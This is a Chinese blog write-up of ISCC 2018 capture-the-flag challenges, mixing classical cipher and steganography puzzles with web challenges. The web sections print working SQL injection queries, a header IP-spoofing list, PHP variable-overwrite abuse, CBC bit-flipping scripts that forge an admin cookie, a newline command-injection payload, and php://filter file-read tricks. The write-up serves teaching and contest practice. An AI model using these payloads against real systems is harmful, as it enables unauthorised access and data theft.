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ISCC-2018-WriteUp

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What is that？

很明显的暗示

改变图片的高度就行

clip_3.png

秘密电报

题目里有一串

ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA

还以为是二进制，其实是培根密码

clip_8.png

这个其实就是flag了

比较数字大小

f12改变maxlenth的值

clip_10.png

然后往大了输就好

clip_11.png

你能跨过去吗

页面有一段

http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=%2b/v%2b%20%2bADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0-&_=1302746925413

还以为某个网站，进不去

不过中间那段可以base64解密

clip_2.png

因为输入的值的名字就是key，所以直接输//及其之间的字符就好

clip_1.png

暴力XX不可取

提目就一段vfppjrnerpbzvat

凯撒解密

clip_9.png

flag

SQL注入的艺术

看到charset=gb2312 一般应该是宽字节注入

http://118.190.152.202:8015/index.php?id=1%df' order by 8%23

查字段是8

http://118.190.152.202:8015/index.php?id=-1%df' union select 1,database(),1,1,1,1,1,1 %23

库名为baji

clip_4.png

http://118.190.152.202:8015/index.php?id=-1%df' union select 1,group_concat(table_name),1,1,1,1,1,1 from information_schema.tables where table_schema = 0x62616a69 %23

表名是admins

clip_5.png

http://118.190.152.202:8015/index.php?id=-1%df' union select 1,group_concat(column_name),1,1,1,1,1,1 from information_schema.columns where table_schema = 0x62616a69 and table_name=0x61646d696e73 %23

列名有这些

clip_6.png

http://118.190.152.202:8015/index.php?id=-1%df' union select 1,group_concat(flag),1,1,1,1,1,1 from admins %23

查flag即可

clip_7.png

web02

页面提示：错误！你的IP不是本机ip！

抓包改http头

结果是Client-IP: 127.0.0.1

不是X-Forwarded-For

clip_12.png

  • 总结下，伪造IP的HTTP头都有这些：

    • X-Forwarded-For
    • Client-IP
    • x-remote-IP
    • x-originating-IP
    • x-remote-addr

一切都是套路

index.php.txt中有代码

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<?php

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
	die("flag is here");

if (!isset($_POST["flag"]) )
	die($_403);

foreach ($_GET as $k => $v){
	$$k = $$v;
}

foreach ($_POST as $k => $v){
	$$k = $v;
}

if ( $_POST["flag"] !== $flag )
	die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>

利用变量覆盖

clip_14.png

flag

clip_13.png

Please give me username and password!

在index.php.txt中

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<?php
error_reporting(0);
$flag = "***********";	
if(isset($_GET['username'])){
	if (0 == strcasecmp($flag,$_GET['username'])){
	$a = fla;
	echo "very good!Username is right";
	}
	else{
	print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
	if (is_numeric($_GET['password'])){
		if (strlen($_GET['password']) < 4){
			if ($_GET['password'] > 999){
			$b = g;
			print '<p>very good!Password is right</p>';
		}else 
			print '<p>Password too little</p>';
		}else
		print '<p>Password too long</p>';
	}else
	print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
	print $flag;
?>

clip_15.png

web01

这个送分的。。

clip_18.png

Only admin can see flag

这题是CBC翻转攻击

实在不懂，百度到这篇

CBC翻转攻击，了解一下！ - CSDN博客

近乎几乎一样的题目，

index.txt中有源码

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<?php
include 'sqlwaf.php';
define("SECRET_KEY", "................");
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
    $iv='';
    for($i=0;$i<16;$i++){
        $iv.=chr(rand(1,255));
    }
    return $iv;
}
function login($info){
    $iv=get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
    if ($_SESSION["username"]==='admin'){
        echo '<p>Hello admin</p>';
        echo '<p>Flag is *************</p>';
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
    die();
}
function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}

if (isset($_POST['username'])&&isset($_POST['password'])) {
  $username=waf((string)$_POST['username']);
  $password=waf((string)$_POST['password']);
  if($username === 'admin'){
        exit('<p>You are not real admin!</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}
else{
  if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }
}
?>
<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>Paper login form</title>
      <link rel="stylesheet" href="css/style.css">
</head>
<body>
  <div id="login">
  <form action="" method="post">
    <h1>Sign In</h1>
    <input name='username' type="text" placeholder="Username">
    <input name='password' type="password" placeholder="Password">
    <button>Sign in</button>
</div>
</body>
</html>

通过分析几个函数的作用

思路大概就是现用非admin登陆，然后翻转获取的cipher和iv，比如能使mdin变为admin，这时，清空post数据，传入翻转的cipher，还有iv

  • iv：用于随机化加密的比特块，保证即使对相同明文多次加密，也可以得到不同的密文。

  • cipher：加密后的数据。

借用大佬的脚本

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# -*- coding: utf-8 -*-
# @Date    : 2018-03-15 11:45:57
# @Author  : Mr.zhang(s4ad0w.protonmail.com)
# @Link    : http://blog.csdn.net/csu_vc
import base64
import requests
import urllib
iv_raw='%2F8iEm4jh%2BjbgVGwlQ31ycg%3D%3D'  #这里填写第一次返回的iv值
cipher_raw='8WdhbPxjZy9xYAgoCeghiOUQu0ri1Y3dv7cX44MbvOfIC6zZxCbR%2FPFpeMatL5qIgT%2BYA66tIdCBpxtWsWxV9Q%3D%3D'  #这里填写第一次返回的cipher值
print "[*]原始iv和cipher"
print "iv_raw:  " + iv_raw
print "cipher_raw:  " + cipher_raw
print "[*]对cipher解码，进行反转"
cipher = base64.b64decode(urllib.unquote(cipher_raw))
#a:2:{s:8:"username";s:5:"zdmin";s:8:"password";s:5:"12345"}
#s:2:{s:8:"userna
#me";s:5:"zdmin";
#s:8:"password";s
#:3:"12345";}
xor_cipher = cipher[0:9] +  chr(ord(cipher[9]) ^ ord('m') ^ ord('a')) + cipher[10:]  #请根据你的输入自行更改，原理看上面的介绍
xor_cipher=urllib.quote(base64.b64encode(xor_cipher))
print "反转后的cipher：" + xor_cipher

结果

clip_16.png

check_login函数会进行判断，但翻转破坏了部分原数据，需要再进行cbc翻转得到新的iv

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# -*- coding: utf-8 -*-
# @Date    : 2018-03-15 11:56:20
# @Author  : csu_vc(s4ad0w.protonmail.com)
# @Link    : http://blog.csdn.net/csu_vc
import base64
import urllib
cipher = 'Bc6oENSSAEPpPdv/rbqRZG1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9'#填写提交后所得的无法反序列化密文
iv = '%2F8iEm4jh%2BjbgVGwlQ31ycg%3D%3D'#一开始提交的iv
#cipher = urllib.unquote(cipher)
cipher = base64.b64decode(cipher)
iv = base64.b64decode(urllib.unquote(iv))
newIv = ''
right = 'a:2:{s:8:"userna'#被损坏前正确的明文
for i in range(16):
    newIv += chr(ord(right[i])^ord(iv[i])^ord(cipher[i])) #这一步相当于把原来iv中不匹配的部分修改过来
print urllib.quote(base64.b64encode(newIv))

替换iv的值之后

clip_17.png

请ping我的ip 看你能Ping通吗？

?ip=2130706433%0Acat index.php

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'',
		';' => '',
		'|' => '',
		'-'  => '',
		'$'  => '',
		'('  => '',
		')'  => '',
		'`'  => '',
		'||' => '',
	);


	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    


	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 1 ' . $target );
	}


	echo  "

{$cmd}

";
	

?>

浅谈CTF中命令执行与绕过的小技巧 - FreeBuf互联网安全新媒体平台 | 关注黑客与极客

凯撒十三世

凯撒十三世在学会使用键盘后，向你扔了一串字符：“ebdgc697g95w3”，猜猜它吧。

我首先就想到rot13和凯撒

然后弄出roqtp697t95j3就没思路了

过了好几天，经提示才发现竟然是

roqtp697t95j3对应键盘的位置的下一行

比如roqt对应flag。。。

最后是flag:yougotme

重重谍影

这是一道脑洞题，简单的要命。层层迷雾之后就是答案，刹那便是永恒。南无阿弥陀佛

一段base：

Vm0wd2QyVkZOVWRXV0doVlYwZG9WVll3WkRSV2JGbDNXa1JTVjAxWGVGWlZNakExVjBaS2RHVkljRnBXVm5CUVZqQmtTMUl4VG5OaFJtUlhaV3RHTkZkWGRHdFRNVXB6V2toV2FsSnNjRmhhVjNoaFYxWmFjMWt6YUZSTlZtdzBWVEo0YzJGR1NuTlhiR2hYWVd0d2RsUnRlR3RqYkdSMFVteFdUbFp0ZHpCV2EyTXhVekZSZUZkc1ZsZGhlbXhoVm01d1IyTldjRVZTYlVacVZtdHdlbGRyVlRWVk1ERldZMFZ3VjJKR2NIWlpWRXBIVWpGT1dXSkhhRlJTVlhCWFZtMDFkMUl3TlhOVmJGcFlZbGhTV1ZWcVFURlRWbEY0VjIxR2FGWnNjSGxaYWs1clZqSkdjbUo2UWxwV1JWcDZWbXBHVDJNeGNFaGpSazVZVWxWd1dWWnRNVEJXTVUxNFdrVmtWbUpHV2xSWlZFNVRWVVpzYzFadVpGUmlSbHBaVkZaU1ExWlhSalpTYTJSWFlsaENVRll3V21Gak1XUnpZVWRHVTFKV2NGRldha0poV1ZkU1YxWnVTbEJXYldoVVZGUktiMDB4V25OYVJFSm9UVlpXTlZaSE5VOVdiVXB5WTBaYVdtRXhjRE5aTW5oVFZqRmFkRkpzWkU1V2JGa3dWbXhrTUdFeVJraFRiRnBYWVd4d1dGWnFUbE5YUmxsNVRWVmFiRkp0VW5wWlZWcFhZVlpLZFZGdWJGZGlXRUpJV1ZSS1QxWXhTblZWYlhoVFlYcFdWVmRYZUZOamF6RkhWMjVTYWxKWVVrOVZiVEUwVjBaYVNFNVZPVmRXYlZKS1ZWZDRhMWRzV2taWGEzaFhUVlp3V0ZwR1pFOVRSVFZZWlVkc1UyRXpRbHBXYWtvd1lURkplRmR1U2s1V1ZscHdWVzB4VTFac1duUk5WazVPVFZkU1dGZHJWbXRoYXpGeVRsVndWbFl6YUZoV2FrWmhZekpPUjJKR1pGTmxhMVYzVjJ0U1IyRXhUa2RWYmtwb1VtdEtXRmxzWkc5a2JHUllaRVprYTJKV1ducFhhMXB2Vkd4T1NHRklRbFZXTTJoTVZqQmFZVk5GTlZaa1JscFRZbFpLU0ZaSGVGWmxSbHBYVjJ0YVQxWldTbFpaYTFwM1dWWndWMXBHWkZSU2EzQXdXVEJWTVZZeVNuSlRWRUpYWWtad2NsUnJXbHBsUmxweVdrWm9hVkpzY0ZsWFYzUnJWVEZaZUZkdVVtcGxhMHB5VkZaYVMxZEdXbk5oUnpsWVVteHNNMWxyVWxkWlZscFhWbGhvVjFaRldtaFdha3BQVWxaU2MxcEhhRTVpUlc4eVZtdGFWMkV4VVhoYVJXUlVZa2Q0Y1ZWdGRIZGpSbHB4VkcwNVZsWnRVbGhXVjNSclYyeGFjMk5GYUZkaVIyaHlWbTB4UzFaV1duSlBWbkJwVW14d2IxZHNWbUZoTWs1elZtNUtWV0pHV2s5V2JHaERVMVphY1ZKdE9XcE5WbkJaVld4b2IxWXlSbk5UYldoV1lURmFhRlJVUm1GamJIQkhWR3hTVjJFelFqVldSM2hoWVRGU2RGTnJXbXBTVjFKWVZGWmFTMUpHYkhGU2JrNVlVbXR3ZVZkcldtdGhWa2w1WVVjNVYxWkZTbWhhUkVaaFZqRldjMWRzWkZoU01taFFWa1phWVdReFNuTldXR3hyVWpOU2IxVnRkSGRXYkZwMFpVaE9XbFpyY0ZsV1YzQlBWbTFXY2xkdGFGWmlXRTE0Vm0xNGExWkdXbGxqUms1U1ZURldObFZyVGxabGJFcENTbFJPUlVwVVRrVSUzRA==

反复进行base64解密与urldecode后是形如aes加密的东西（经提示才发现）

clip_1.png

有个与佛论禅加密。。。

clip_2.png

这flag。。。

一只猫的心思

附件为一张图，曾用foremost分离，能得到.ole文件，分析也没有什么有用的信息

不过能看出是微软的Office文档

使用winhex分离就能得到doc文件

clip_33.png

clip_4.png

与佛论禅解谜

clip_5.png

将得到的16进制转为字符串，看得出是base，然后就是base64、base23或base16来回解几次，最后得到的16进制转字符串

F1a9_is_I5cc_ZOl8_G3TP01NT

你能绕过吗?

?f=Php://filter/read=convert.base64-encode/resource=index&id=1

将得到的base64解码

clip_1.png

试试看

?img=php://filter/read=convert.base64-encode/resource=1.jpg/resource=config.php

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<?php  
function get_contents($img)
{
	if(strpos($img,'jpg') !== false)
	{
		return file_get_contents($img);
	}
	else
	{
		header('Content-Type: text/html');
		return file_get_contents($img);
	}
}
?>

show.php内容

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<?php
error_reporting(0);
ini_set('display_errors','Off');

include('config.php');

$img = $_GET['img'];
if(isset($img) && !empty($img))
{
    if(strpos($img,'jpg') !== false)
    {
        if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0)
        {
            die('File not found.');
        }

        preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
        if(isset($matches[1]))
        {
            $img = $matches[1];
        }

        header('Content-Type: image/jpeg');
        $data = get_contents($img);
        echo $data;
    }
    else
    {
        die('File not found.');
    }

}
else
{
    ?>
    <img src="1.jpg">
    <?php
}
?>

就到这里了。。。

官方wp：http://www.cnblogs.com/L1B0/p/9090461.html

文章作者: J0k3r
文章链接: http://j0k3r.top/2018/05/01/iscc-wp/
版权声明: 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog！
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